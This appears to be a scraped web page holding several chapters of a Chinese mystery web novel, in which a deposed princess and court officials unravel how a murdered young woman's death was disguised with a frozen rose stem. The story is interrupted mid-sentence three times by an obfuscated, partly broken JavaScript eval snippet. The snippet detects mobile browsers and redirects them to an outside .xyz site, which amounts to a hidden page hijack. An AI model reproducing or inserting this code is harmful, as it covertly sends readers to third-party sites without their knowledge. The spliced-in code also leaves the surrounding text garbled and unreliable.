她看到寒木回来欣喜地说:“木木你回来了呀,你是百花城人,你看看这个,这个是不是百花城的地图?” 寒木看着裴瑾生龙活虎的样子,顿时也反应过来,这家伙是在装晕。 “我的乖乖哟,你没得事,真是太好了。老大夫,你来看一看我们小姐还有哪里不舒服没有?” 老中医看完,只是说小姐有些上火,少吃点火锅,就背着箱子走了。一边走一边碎碎念:“百花城哪个人不上火,这也要叫老夫出诊,一惊一乍。” 裴瑾对寒木露出一个甜甜的微笑:“不好意思呀,寒大人。” 寒木并没有责怪她的意思,只是搂着她说:“人没得事就好,要对不起也是悬案司那边对不起我们殿下!殿下装晕是应该的,吓死他们,乱抓人不要脸!只是吓一下而已,我们殿下就是心善。” “呜呜,你真好。” 两个人你搂着我,我搂着你,说了几句贴心话。寒木正色道:“殿下是觉得悬案司有问题?” “不愧是木木。”裴瑾将自己对裴十七的分析又和寒木说了一遍。 寒木愤愤:“这赵家以前就爱欺男霸女,悬案司在赵家的地盘上,李贵和李筠杰估计也不是啥子好东西。殿下要奉密卫的指令使密令,我直接去信给陛下就是。” “我不想我们木木背锅嘛。” “嘿嘿,我们殿下真好。” “对了木木,你看看这个地图,你认识这是哪里不?” “有点子像城外,水平桥西边的秃脑壳山!” “嗯?过几日我们去看看!” “好勒。” * 李贵府上。 李筠杰肿着个脸,哭丧着说:“我真没用刑,是她自己装的!这个公主真不要脸!” 李贵觉得太阳穴突突地跳,他怎么生出这么个傻儿子?“跪下!你当公主跟你一样蠢吗?公主装晕是为了警告你我!” 李筠杰一脸茫然地看着父亲:“啊?您知道她是装晕啊?那您还罚我?” 李贵深呼吸几口:“那裴十七和寒木都是陛下身边的人!” 李筠杰满脸疑惑:“虽然她是公主,父亲也不用这样怕她吧?蜀郡可是赵家的地盘,赵伯伯对我们可好了。” 李贵闭眼坐在藤椅上,沉默了许久。 空气越来越沉闷,李筠杰觉得有些喘不过气。他看着父亲,仿佛一下子老了十几岁。 良久,李贵说道:“你以为世家都是些什么人?” 他叹了口气:“都是些吃人不吐骨头的。你赵伯伯作为家主更是如此。筠杰,你再不谨言慎行,真的会把自己害死。” 李筠杰莫名慌乱,不明白父亲为何突然说这样的话。这公主真有这么可怕吗? “父亲老了,也许哪一天就不在了。你不能总是要我提点,懂吗?” “父亲您怎么这样说?是我错了,我明日会好好向公主道歉的。” “公主说得对,我们做官的应该公正严明,为百姓撑腰才是啊……”说完不知想到什么好笑的事,他自己先笑了起来。 * 次日清晨。 张煦走到门口,准备叫公主吃饭,见她一直盯着一个容貌普通的男子看。他下意识问道:“殿下在看什么?” 裴瑾收回目光:“这男子有点眼熟。” 张煦无言。 他想起之前路过小镇的时候,公主目光灼灼地盯着一个俊美男子看,看的时候还找人家搭话:“公子,我看你甚是眼熟,我们是不是在哪里见过?” 现在这话怎么听着这么耳熟呢? 他把早饭放在公主身边的小茶几上。莫名其妙地说道:“殿下眼睛都要盯穿了,现在又看上相貌普通的了?” 裴瑾不可思议地转头看向张煦:“十七,你怎能这样想我!我可是很正经的!之前那位长得好看确实眼熟,今天这个嘛,我好像不久前才见过,一时想不起来。” “殿下说是就是吧。”他把分好的小菜点心推向裴瑾。 “不是你想什么呢?”裴瑾气笑了:“你知道我曾经是算科魁首吧?” 张煦觉得她这是在转移话题,明白,配合:“嗯,公主女中豪杰,算术让人难以望其项背。” “因为我和别人计算的方式不一样。”裴十七把茶几下的算盘掏出来。 “你知道珠心算吗?” “略有耳闻。” “常人以为珠心算靠的是计算,实际并不是,而是靠的图像记忆。”裴瑾随意拨了几颗珠子:“就像这样。我的脑子里想的不是计算,而是整个算盘的样子。所以当我计算的时候,我只需要拨动记忆里的算盘,记住计算之后珠子的位置即可。实际上,我根本就没有做计算。” 张煦有些震惊,他将算盘随意拨动了几下,然后用手立马遮住。“公主,还记得刚刚我拨的数字吗?” “这有何难?1,975,304。”裴瑾继续说道:“所以有时我会记住一些画面,刚刚那位男子相貌普通,但是我却觉得他熟悉。而且我刚来蜀郡不久,他一定在近期出现过,到底是哪里呢?” 张煦跟着裴瑾的思路分析:“殿下昨日与我回到西门巷没有见过外人,除了那位中医,所以如果殿下没有记错的话,这个人不是出现在死牢里,就是百花宴上。” “可是我有些想不起来了,到底是哪里呢?” “想不起来便等会儿再想,殿下先吃早饭吧。”张煦给裴瑾布菜,欲言又止。 裴瑾吃着红油抄手,辣得眼泪汪汪,还不忘观察裴十七:“十七你这是怎么回事?快吃饭呀,别愣着很好吃。” 张煦看着公主吃得生龙活虎,想到她脑子里总是能记住那些画面,包括案发现场血腥残忍的画面。他心脏不由得有些紧:“那殿下记性这么好,还查案?那些画面一直忘不掉,晚上会害怕吗?” 裴瑾眨巴眨巴眼。恍然大悟,啊,这是心疼她了呀,真可爱。她假装瑟缩了一下,嗓音发紧:“嗯,是啊,经常会怕得不敢闭眼呢。” 裴十七面露不忍。 “噗!”她笑嘻嘻地说:“想啥呢,你平时走路,能随时记得路边花草的样子吗?” “不能。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936869|177256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那不就得了,我擅长记忆图像,也是只有我全神贯注的时候才能记住呀!那些血腥的画面,我通常都会把它忘掉的。嘿嘿嘿,小十七平时古板严肃,心肠却这么软,怪可爱的。” “公主吃饭。”张煦沉默地吃了一口红油抄手,辣得直咳嗽。他怎么就管不住自己的嘴呢?公主这家伙根本就不值得心疼,她自己过得好着呢。 这蜀郡,怎么什么菜都这么辣??! “两位吃早饭呢。” 裴瑾从碗里抬头看去。咦,这不是悬案司评事赵倚歌吗? 这位赵评事也是位深藏不露的人啊。裴瑾戴上温柔面具,温温柔柔插刀:“赵评事这是来道歉?” 赵倚歌本来想了十几种开场白,没想到都没用上,行,那就开门见山吧。 “是。” 裴瑾擦擦嘴,拿起一盏茶,慢悠悠的喝着,温柔从容而又坚定,与刚刚邻家姑娘的样子大相径庭。“赵评事是该好好道歉。” 赵倚歌有些困惑,怎么感觉这公主对她的气很大呢??以为是个废公主,没想到只是人家闹着玩儿的,失算了。但怎么想,她应该对李筠杰气大一些吧? 裴瑾见赵倚歌露出困惑的表情,轻笑:“行,咱们就打开天窗说亮话。赵评事,不是每个人都像李筠杰那样的。昨日在现场,你已经看出我的身份了吧?李筠杰是没看出来,李贵是后面来的,信息不够。赵评事看出来了,为何不说?我自认刚到蜀郡半天,可没有怠慢过、得罪过赵评事吧?” 这公主比想象中的更加聪明。赵倚歌也不再打官腔,她苦笑道:“殿下,蜀郡的水很深。” 砰的一声,裴瑾一掌重重拍在茶几上。她佯装恼怒,语气里带着冷意:“所以,赵大人作为悬案司评事,就可以是非不分冤枉良民?悬案司本就是破奇案,为民伸冤的地方,这蜀郡的悬案司倒好,一个真糊涂,一个装糊涂。为官者若是不公,置陛下于何地?置天下百姓于何地?” 赵倚歌本就是赵家嫡女,她来道歉也是代表悬案司。裴瑾恼怒,她反而站直了身体:“殿下不会有事,殿下不也装晕将了我们一军?” 裴瑾冷声道:“礼尚往来而已。如你所言,你们蜀郡水太深,我也不得不亮出些底牌。” 昨日裴瑾就想得很清楚。这赵倚歌的表现,十有八九已经猜出她的身份。但是在凶案现场,她仍然不曾提醒,任由李筠杰将她关入了死牢。 这说明她的身份还不够安全。废公主不够,也许公主也是不够的。所以她不得不拉出父皇作为她的后台,否则可能难以全身而退。 至于奉密卫指令使的密印,那便是底牌。若是遇到非常时刻,才会动用。 赵倚歌见裴瑾的话里有些松动,于是又恢复恭敬的态度说道:“李大人想与殿下讨论案情,不知是否方便?” 裴瑾站起身:“废公主而已,叫我景司务就行。” 赵倚歌暗叹,搞这一出,谁还敢把她当成废公主?她的目光移向旁边一直未曾说话的裴大人。姓裴,但并非皇室中人,穿着黑衣,配有黑鱼袋。想必是天家赐姓,天子近臣,这位也不是寻常人。 她收回目光说道:“景司务请。” 8. 玫瑰花枝1 几人到陈府,是从侧门进入的。 裴瑾路过正门,见门上贴了封条。 到达前厅,李贵和李筠节都不在,陈家人也不在。 “赵评事,这是?” 赵倚歌摸了摸鼻子,苦笑:“殿下有所不知,正门紧邻前院,如今百花宴的宾客都被拘在前院,闹得很凶,李司正约莫是去安抚人心了,殿下见谅。” 裴瑾抿嘴笑了笑:“自然。” 说着也不管赵倚歌,径直往前院去了。 “哎,殿下!”赵倚歌傻眼,连忙跟上。 寒木好心拍了拍她的胳臂:“习惯就好。” 张煦:“嗯。” 前院很热闹,世家公子,官家小姐,纷纷闹着要回去。 赵恒蹦到李贵身前,大声道:“我乃蜀郡赵氏,已经一天一夜了,尔等何时才能放我们离开?” 官家小姐,秦烟然,一边喝茶,一边冷硬着接道:“悬案司好大的官威,区区五品司正,就想无故羁押吾等,以为我们是景小姐那样的外来户不成?” “就是!” 王玉振端坐在几案前,垂眸不语,身侧的护卫倒是一瞬不移地盯着自家公子,生怕出了事。 “快点放人,我们还等着去参加花车巡游呢,快过点了。” “就是,悬案司无能,凭什么让我们等在这儿?!” “放人!” “放人!” “各位,哎哟,我说各位祖宗,听李某一句言!”李贵被缠得焦头烂额,苦哈哈安抚:“姜小姐死于百花宴,各位都有嫌疑,此时万万不可离去,若是真凶混入其中,岂不是放虎归山?万一伤到各位公子小姐,那该如何是好!” “……”空气安静了一瞬,这李贵说的好像也有点道理哈? 秦烟然:“胡说,我昨日在场。姜小姐明明是被花枝所杀,花枝柔软,需要极高的内力,我等并无武功,根本不是凶手!” “对,李大人,你不去抓武功高强的江湖人,却困着我们,是什么意思?” 李贵满头大汗,习惯性寻找赵倚歌,没找到,这才想到赵评事去给公主殿下道歉了。 他用手帕擦了擦汗,好希望赵评事能分成八个用啊…… 李筠节:“什么意思?都老实点,不然把你们都下大狱!” “万万不可!”李贵差点没被李筠节吓死,这里面的后台,他一大半都惹不起,这傻儿子哟,就别添乱了行吗? 秦烟然:“呵。” 赵恒:“大胆!你想屈打成招?也不看看我是何人?!” 李筠节遇强则强:“你是何人?区区一个赵家旁支而已!” 赵恒气得牙痒,他生平最得意之事,就是姓赵;最难受的事是,他只是赵家旁支,谁说这话,他跟谁急。 “那也比你一个芝麻九品官厉害,还是靠你爹得来的,你会办案吗你!” 吵架专戳心窝子,李筠节生平最受不了别人说他办案能力不行,全靠他爹。 这两人眼看着就要扭打到一起。 “嗯,各位,听我一言如何?”来人声音很轻,如清风如泉水,从众人焦躁的心头拂过。 “景小姐?”赵恒别的不说,认人能力还不错,他指着裴瑾,质问李贵:“李大人,什么意思?嫌疑犯都能放出来,却不准我们离开是吗?” 李贵却不再理他,回身扯出一个笑脸:“殿下。” 殿下? 在场的公子小姐们有的呆住,有的恍然大悟,原来景小姐是公主。 反应过来之后,却觉得李贵真是丢人,不过是废公主而已,说白了就是一个庶民,至于这么巴结?让人笑掉大牙。 赵恒更是不给面子,吵着挑事儿。 裴瑾没给赵恒眼神,她对李贵温和笑道:“叫我景司务便好。” 李贵连忙给李筠节使眼色:傻儿子,快点道歉。 李筠节正吵架上头,气很不顺,被他爹这么一瞪,不情不愿地走向裴瑾。 不过裴瑾没让他开这个口。她淡淡地对身后的张煦和寒木说:“把他绑了。” “你什么意思?!”李筠杰大惊,之前他父亲说公主恐怖,他还不信。这阵势是什么意思?光天化日,杀人灭口? “公主息怒。”李贵也是吓了一跳。 吵着要离开的公子小姐们也熄火了,啊,这……他们最多动嘴,这废公主,是真敢动手啊。 不劳寒木出手,张煦一个人就像拎小鸡一样把李筠杰双手反剪在背后,押到公主面前。 “昨天你想对我用什么刑?说出来听听。”裴瑾慢条斯理地说,缓缓的语气,却让人毛骨悚然。 “就算你是公主,也不能如此蛮横行事,想对朝廷命官动用私刑?!你问过陛下了吗?”李筠杰内心慌乱极了,开口都有些打颤,但还是硬着头皮分辨道。 裴瑾笑了:“哦,朝廷命官就高人一等?照你的思路,我虽是废公主,也流着陛下和谢家的血脉,也是你能随意污蔑的?昨日你仗着司务身份对我随意安插罪名刑讯逼供,那么今日我便可仗着公主和谢家的势力要你的命。” 是啊,公主是废公主,但人是陛下的女儿,还是谢家的表小姐。谁不知道,谢家长公子谢明钧最疼这个妹妹了。 一开始不把裴瑾放在眼里的众人,都敛了神色,惹不起惹不起,看戏。 一字一句像闷锤一样叩在李筠杰脑海,敲得他眼冒金星,小脑瓜嗡嗡作响。是这样的吗?他第一次发现以势压人是如此令人窒息。在权势面前,他就是一团面团,让人肆意搓圆捏扁而毫无办法。 他生锈的脑袋瓜子开始缓缓转动。所以,他对于普通百姓来说,也是如此吗? 赵倚歌听到这里轻轻拉了拉李贵的衣袖,对他摇了摇头。李贵也暗暗舒了一口气,看样子公主并不是真的想报复。 也许经过这一次,李筠杰能成长一点。 李筠杰觉得自己应该说些什么。他想到昨天自己的行为又说不出口,只是挣扎着说道:“这不公平。” 裴瑾挑眉双手抱胸,居高临下地审视着他:“这很公平,你不是这么做的吗?现在知道怕了?” 李贵一口气又提了起来。万一公主真的要拿筠杰开刀怎么办? 裴瑾收起咄咄逼人的状态,眉目舒展,温和一笑:“李大人为何如此紧张?我也只是吓吓李司务而已。往后都是同僚,还请互相照顾呀。” 张煦听她这么一说,便知道用意,放开了手。李筠杰没了钳制,腿软坐在了地上。这谁还敢和你当同僚?太吓人了,嘤嘤嘤。 李贵看了一眼裴瑾和她身边的两位大人,见他们没有别的意思,便扶起自己的傻儿子。 他松了一口气,公主表面上声势浩大,其实高高举起轻轻放下。“多谢公主宽宏大量。” “李司正哪里的话?叫我景司务就行。” 李筠杰委屈巴巴地叫了一声:“爹~”婉转之极,赵倚歌忍俊不禁,差点没笑出声。 好爽,李筠节早就该敲打敲打了。 本来吵嚷的众人都安静下来,这位废公主殿下,看起来温言细语,结果一言不合就动手,着实生猛,他们惹不起。 也惹不起她身后的谢家和陛下,难道说真的要一直待在陈府吗? 这要等到猴年马月去! 这时,一直沉默的王玉振说话了:“景司务,姜小姐是花枝致死,我等不会武功,可否放我们离开?” 裴瑾莞尔一笑:“正要说到此事,李大人,您也认为是江湖人士所为?” 李贵为难:“这个……其实……” 赵倚歌:“殿下借一步说话。” 赵倚歌在前厅将之前的线索和推断告诉裴瑾:“除了陈家、昨日百花宴这些人,还有可能是江湖高手。” 裴瑾点点头说:“这些嫌疑人我们还需要排查,不过……” 她停顿了一下,随后回到前院,和众人说道:“姜小姐并非死于玫瑰花枝贯穿头颅,任何一个普通人都能杀了她。” “所以在座的各位都有嫌疑。” “什么?” “不可能。” 大家议论纷纷,李贵心情跟坐过山车一样,他看向裴瑾:“殿,景司务这是何意?” 裴瑾轻声说:“不如我们再去看一次阿月的尸体。” 前院的公子小姐你看看我,我看看你,胆子大的也跟着一起去了,这一次,悬案司的衙役没有拦他们。 姜月的尸体已经僵硬,浮现出层层尸斑,裴瑾看着曾经的好友躺在那里,心绪几经变换。 悬案司几人团团围着姜月的尸体,检查了一遍。 然后,集体沉默。 李筠节挠头:“我们不擅长验尸。” 李贵干笑:“景司务,平时这验尸的事,都是仵作来做,我等着实看不出门道。” 裴瑾点头:“这不怪仵作,阿月身上没有别的致命伤,乍一看,这伤口的确是花枝所致。” “不过,你们再仔细看一下伤口,还有那枝凶器。” 玫瑰花枝已经被取下,放在特制的盒子里,用以保存,赵倚歌仔细研究了花枝,又观察了伤口。 这次她不是浅尝辄止,而是仔仔细细里里外外,看了姜月额头,心下一动。 她抬头看向裴瑾说道:“殿,景司务,这花枝不对劲!” 裴瑾笑了:“嗯,怎么说?” 其他人也看向赵倚歌,她说:“花枝太软了,软得不对劲。” 李筠节:“这有什么不对的,这花枝在死者头颅里泡过,软了很正常。” 裴瑾没有直接否定他,而是继续说:“如果是在头颅里泡软的,那是什么泡的呢?” 李筠节自信道:“那还用说,当然是血!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936870|177256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵倚歌眼睛一亮:“对,还有这里不对劲,花枝只有表面有血迹,里面没有!” 李筠节呆呆的:“啊?所以呢?” 李贵恨铁不成钢:“所以,这花枝不是血泡软的,甚至……” 赵倚歌:“甚至没有太接触死者的鲜血。” 李筠节懵了:“啥子意思?这花枝明明就插在死者脑子里啊……” 裴瑾:“百花城中鲜花众多,李司务可听说过花朵染色之法?” 李筠节骄傲挺胸:“那是自然,将普通花朵连同花枝,放入染料中,染料就会顺着花枝向上蔓延。短则几个时辰,长则几天,花瓣就会变色……啊,我知道了,染料是通过花枝,然后染色花瓣的。” 裴瑾点头:“花枝放到染料里会变色,那放到血里呢?” 赵倚歌:“同样也会,但是姜小姐头颅里的花枝,只有表面有血迹,枝干内部却是本来的色泽!” 她将花枝给众人一观,果然见花枝底部只有轻微血迹,再往里,甚至还是花茎本来的色泽! 什么意思呢,难道说,凶器不是花枝,可那花枝明明插在头颅里呢! 这到底是怎么一回事? 所有人都懵了。 裴瑾说:“赵评事,刚刚在观察阿月的伤口?” “是。” “有何蹊跷?” 赵倚歌看了姜月额头,犹豫道:“还有这伤口里似乎有些别的东西,像是,像是……什么金属粉末?” “什么金属粉末?!”李贵连忙走到姜月出,用干净手帕沾取伤口组织。 “确实是。”李贵将手帕小心叠好,也放入证物盒子里。 裴瑾见几人若有所思,继续说:“不知各位是否吃过杨梅荔枝冰?” 围观者:“那是自然。” “这是我朝名品,甘冽香甜,夏季喝上一碗,沁人心脾!” “其他郡的公子小姐,夏季为了吃一口这饮品,得废不少功夫呢!” “那可不。” “也就我们蜀郡荔枝多,才能天天吃个饱,嘻嘻。” 荔枝生于岭南、蜀郡一带。 再往北,新鲜的荔枝,普通人就吃不上了,荔枝酪又不够鲜美,于是便有了荔枝冰。 将荔枝藏于冰罐中保存,可保数日;再在运送途中,制成杨梅荔枝冰,又可保3~5日的鲜美。 如此就有了,普通官家小姐也能吃上一口的荔枝冰了。 “不过,这荔枝冰,唯有一点不好。” 赵倚歌:“因荔枝冻过,肉质比新鲜荔枝,略微软绵,不够爽口。” 裴瑾:“赵评事果然见多识广。” “哪里,哪里。咦……” 冰冻、软绵…… 她知道哪里不对了! 赵倚歌向裴瑾拱手行礼:“公主大才,堪比神探!” 裴瑾轻轻摇头:“是赵大人博闻强识。” 不知道两人在打什么哑谜。 赵倚歌也不卖关子,向众人讲解起来。 花枝茎内血迹少,一定不是凶器,那么真正的凶器便是那些金属粉末。 或者说——是金属暗器穿过头颅时,摩擦残留的粉末。 凶手为了掩盖真正的凶器,让案件更加扑朔迷离,于是使用玫瑰花枝,覆盖了伤口! 有人问:“可是这是如何做到的呢?” 赵倚歌:“荔枝冰。” “啊?” “一开始,我只是奇怪,为什么这玫瑰花枝格外软绵……” “软绵,软绵!”李筠节一拍脑袋:“是被冰冻过!就和荔枝冰一样!” 还不算笨,赵倚歌点头。 李筠节:“所以,凶手用冰冻的玫瑰花枝,覆盖了伤口,等冰融化,就制造成是用花枝杀人的假象!” “没错!” 花枝被冰包裹,所以血液浸入很少,待冰融化,血液开始干涸粘稠,花枝表面也就沾上了血迹。 众人议论纷纷,有人不是很相信。 李贵当机立断:“来人,去唤仵作,让他仔细检查伤口。” 片刻后,仵作从姜月的伤口中,找到一根细长的银针样暗器,色泽与伤口处的金属粉末一致。 众人倒吸一口凉气,若说,刚刚还只是公主和赵评事的推测,现在真正的凶器出现,说明这是真的! 几个公子小姐赶紧摸了摸自己的额头,心想,若是有人对着自己放暗器,能不能避开。 完全不能。 心机好深的凶手!如此说来,人人都可能是凶手,并非需要武功高强。 李筠节很得意,特意朝着赵恒那边说:“所以你们都有嫌疑!” 裴瑾有点不忍心拆台,不过没办法,谁让他嘴这么快? 她说:“不过,阿月并非死于昨日百花宴。” 李筠节:“啊?” 9. 玫瑰花枝2 众人:啊? 裴瑾轻轻抚摸姜月已经僵硬的尸体,回忆道:“昨日我进到屋中,屋里十分寒凉。” “是的,还以为闹鬼了,阴嗖嗖的。” “我以为就我一个人觉得冷,还不敢说。” 众人七嘴八舌议论起来。 裴瑾继续:“所以我特意看了窗户口和脸盆架,看是否有冰盆。” 是没有的。 接着她发现阿月衣袖上有冰晶融化的痕迹,袖口潮湿冰凉。 赵倚歌摸摸下巴:“这么说来,姜小姐是被冷藏过?!” 裴瑾点头:“没错,我又仔细看了阿月的皮肤,当时还未僵硬,按起来有些弹性,尸斑也不严重,仵作很容易错判死亡时间。然而……” 李筠节眼前一亮:“然而,姜月的尸体,也跟荔枝冰一样,异常松软!” 裴瑾看向李筠节,他顿时被看得手足无措,迟疑道:“怎,怎么了,我说的不对吗?我昨日也检查过尸体的,当时就觉得按压起来不对劲。” 裴瑾摇头:“不是,李司务说的很对。” 李筠节偷偷松了一口气,他怎么现在被公主看一眼都害怕了?! 赵倚歌询问仵作:“如果考虑冰冻,姜小姐的死亡时间如何推算?” 仵作满头大汗,幸好几位上官并没有追究他责任的意思,于是静下心来思考:“本来的死亡时间,约为两个时辰内,考虑到冰冻、尸斑、尸僵以及伤口变化程度,大约在前日亥时(21-23)到昨日寅时(3-5)。” 众人哗然! “怎么可能,明明昨日白天,姜小姐还在待客!” “公主是不是判错了?我昨日明明见过姜小姐。” “是的,我昨日上午还与姜小姐说过话呢!” “而且公主昨日也与姜小姐形影不离。” “嘶,难道是……鬼?!” “啊啊啊,吓死了,别说浑话。” …… 还有一点,他们没敢说,这一切都由公主带头推导,明明一开始公主才是嫌疑最大的那个人。 不过,李筠节“珠玉在前”,他们可不敢开这个口。 “这一点,我也很奇怪。”裴瑾坐在椅子上,食指缓慢而有节奏地敲击着桌面。 “我与阿月乃是好友,昨日我只身来陈府见阿月,本来很开心,她却叫我‘景小姐'',要知道以往她都称我为‘阿瑾''。” 李贵和赵倚歌都还没说话,李筠杰已经抢答道:“我昨天也觉得姜月有点奇怪!” “我摸了阿月的手,他手指修长跟以往没什么不同,但虎口有茧。” 李筠杰:“姜月喜爱弹琴,本就有茧?” 裴瑾笑而不语,就看着他。李筠杰懵懵地问道:“这,这,难道我说错了吗?” 人群里发出一声轻笑:“习武之人虎口有茧,而弹琴应该是指尖有茧才对。” “是也,是也,李司务怎么这点也不清楚。” 李筠节脸突然涨红,哼了一声。 裴瑾倒了一杯茶给李筠节,让他坐下:“没关系,我们继续。” 李筠节接过茶,轻轻喝了一口,茶香四溢,冲淡了他的尴尬。 他爹看起来温和,但总是责备他,赵倚歌有着世家贵女的傲气,总是不爱理他,没想到,没想到公主还怪好的。 啊,不对,她刚刚还准备让护卫抽他来着。 “我发觉有些不对,于是对姜月说‘去年送我的流云绣纹甚是好看’。姜月却对我说‘景小姐怕是记错了,去年中秋我并未送你绣纹''。” 李筠杰挠挠头:“这有什么不对吗?女孩子家的事我不懂。” 赵倚歌提醒道:“殿下,景司务,去年并未来蜀郡。” 李筠杰更懵了:“那人家姜月也没说错呀?” 李贵瞥了一眼自己的瓜儿子,说:“如果去年殿下未曾到蜀郡,姜月应该说的是‘没见面'',而不是‘没送''。” 李筠杰:“爹,你这有点牵强。” 李贵无奈:“办公之时,叫我李司正。” “哦。” “于是我再次试探,发现阿月连王公子领口的绣纹也认不出……” 众人顿时把目光投向王玉振,研究起他领口的绣纹来。 “玉振公子这绣纹倒是好看。” “为何我从未见过?” “这好像是一种独门绣技。” “你们谁用过这种绣技吗?” “未曾……” “没见过。” 王公子轻咳一声,温和地看向裴瑾,眼神里带着莫名——恳求? 裴瑾眨眨眼,放了他一马,她快速接着抛出线索:“最重要的是阿月不认识回自己闺房的路,她的仪态也不对,不像我认识的姜月。” 赵倚歌大惊:“难道说,我们昨日见到的姜小姐,已经不是本人了?!” 李贵恍然大悟:“不愧是殿,景司务,真是一语惊醒梦中人。” 李筠杰持续发力:“那这就对上了!真相一定是有人利用人皮面具,易容成姜小姐的样子,迷惑我们,然后暗中下手,杀了真正的姜月!” 李贵纠正道:“应该是先杀了姜月,姜月是前一日死亡的。” 李筠杰频频点头:“就是如此!” 赵倚歌有些迟疑,她问道:“既然已经提前杀死了姜月,为什么不离开,还要易容成她的样子出来待客?” 裴瑾点头:“我当时也觉得可疑,借着为她整理耳边鬓发,查看过她耳后的皮肤,并未发现人皮面具的痕迹。” 李筠杰、李贵:“啊?” 李筠杰突然打了个抖。 “不会真的是鬼吧,天哪!” “姜月早就死了,但第二日还出现在了百花宴??” “而且据公主说,也没有用人皮面具假扮?那出现在百花宴的人是谁?!” 此言一出,所有人都觉得屋子里寒冷起来,好像有人在暗中窥视着他们。 裴瑾皱眉也是很困惑:“这一点我也没想清楚。昨日那人除了一些细节上的不同,确实跟阿月长得几乎一样。” 公子小姐们害怕极了。 赵恒不复之前的嚣张,哆嗦着问:“既然,姜小姐不是在百花宴遇害的,那我们是不是没有嫌疑了?可以,可以放我们离开了吗?” 赵倚歌很严谨:“凶手不是在百花宴动的手,并不代表不在参加百花宴的人里。” “不是,赵评 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936871|177256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,你这就有点强词夺理了。” “就是。” 李贵看赵倚歌憋着气冷着脸,一众公子小姐也互不相让,甩锅之魂瞬间附体。 他看向裴瑾,眼神求救,裴瑾笑着说:“李司正您是上官,您拿主意就好。” 李贵心想,他哪敢拿主意,但看公主这意思,应该是放回观察的意思吧…… 不管了,就当公主是这个意思。 “大家可以回各自家中,但不能离开百花城,等此事了了,再行定夺。”李贵想了想,又觉得其中有许多人他得罪不起,于是向裴瑾说道:“殿,景司务,我送各位公子小姐出去。” “李大人不必如此客气,您是上司,当由您全权做主。”裴瑾说。 赵倚歌趁这个时候又将孙兰芝、陈渊渟和姜月的三角关系细细地为裴瑾梳理了一遍。 赵倚歌:“若是姜月死于前日亥时到昨日寅时,那么最可疑的反而是陈家人。” 本来之前他们怀疑过陈朴、陈渊渟和陈灵,但经由今日的分析,陈灵的嫌疑暂时没那么高了。 他们接着去询问了莺莺、陈素、陈直三人。 从莺莺那儿得知,姜月前日晚戌时三刻,就回屋入睡,一直未曾出来。 李筠节听完大怒:“大胆丫头,你家小姐死后被人冰冻过,你竟然说她未曾出来,那她是在自己屋子里被冻的不成!” 莺莺吃了一惊,然后解释说,姜月一直怕热,回到陈家以后,选的屋子就在冰窖之上。 这屋子寒凉,陈府一直没人住,姜月住起来却是刚刚好。 几人下到冰窖查看,没发现什么异常。 陈直那里,询问陈渊渟的下落也是一问三不知,寒木低声说:“总有一种,杀人带着相好跑路的感觉。” 陈直得知陈渊渟成了嫌疑人,连声告罪:“犬子近日,跟中邪了一样,非要去迎春阁,天天夜不归宿,拦都拦不住,我是真不知道他在哪里啊!” 说罢,他又苦笑:“虽说阿月大闹了迎春阁,但以渊渟的性子绝不可能杀人报复,各位大人请一定要找出凶手,告慰阿月在天之灵,也还犬子一个清白!” 最后是陈素,陈素整个人都恹恹的,提不起精神,众人也不好盘问她,只说若是有什么线索,一定要及时告知。 陈素看了看众人,靠在床边应是。 ……一番查探下来,已经到了黄昏,线索少得可怜。 赵倚歌:“看来,还是得先找到陈渊渟才行。” 裴瑾带着寒木和裴十七回到小院,茶几上放着从姜月头颅里找到的暗器。 张煦:“公主为何一直盯着这暗器看?” 裴瑾用手帕,将暗器举起来观察:“十七,你看看呢?” 张煦接过暗器,仔细观察,皱眉道:“没有箭头。” “是,这应该是袖弩射出的暗箭,但是却只有箭杆,没有箭头,按理说箭头应该很坚硬,才能射穿头颅,这箭头去哪儿呢?”这就涉及到裴瑾的知识盲区了。 张煦难得见公主一脸迷茫,握拳轻笑,见她看过来,快速整理好表情:“咳,公主可见过翡翠一类的矿石?” 裴瑾挑眉,这种问句,她很熟悉,看样子,裴十七已经有答案了。 10. 师兄 翡翠,裴瑾甚是熟悉,宫里的娘娘们,有时会为了一套华丽的翡翠头面打起来。 但裴瑾不喜欢,翡翠太脆,磕磕碰碰就碎了。 “翡翠,是一种刚玉,坚硬但易碎。”裴瑾说道:“这与暗器有何关系?” “军中常用兵器均为铁铜所造,而世间罕见名器却能削铁如泥。” 裴瑾勾勾唇,这她知道,铁和钢的区别,可惜这炼钢之术乃不传之秘。 “公主一定想到了钢。”张煦微微一笑,死水一样的脸,生动起来,像偶然见光的蓝宝石,折射出耀眼的火彩。 还怪好看的。 “不是钢。”他说。 